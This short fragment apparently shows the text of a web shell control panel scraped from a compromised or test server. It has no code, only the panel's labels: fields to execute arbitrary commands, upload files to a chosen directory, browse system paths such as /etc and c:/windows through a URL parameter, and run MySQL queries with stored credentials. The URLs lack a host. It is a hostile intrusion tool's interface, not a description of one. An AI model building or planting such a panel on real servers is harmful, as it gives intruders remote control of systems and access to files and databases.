execute command:
upload file: to dir:   

to browse go to http://?d=[directory here]
for example: http://?d=/etc on *nix or http://?d=c:/windows on win
execute mysql query:
host: user: password: database: query: